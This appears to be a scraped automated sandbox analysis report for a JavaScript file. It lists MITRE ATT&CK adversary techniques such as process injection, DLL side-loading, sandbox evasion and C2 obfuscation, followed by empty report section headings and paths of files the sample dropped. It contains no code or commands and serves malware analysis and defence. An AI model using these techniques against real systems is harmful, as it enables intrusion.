Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 405322677135851429.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2befd761-d9d8-4788-b8cf-689f7296063f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2d15b657-0033-4239-b1ef-e2df6c7fc510.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF65767c.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
405322677135851429.js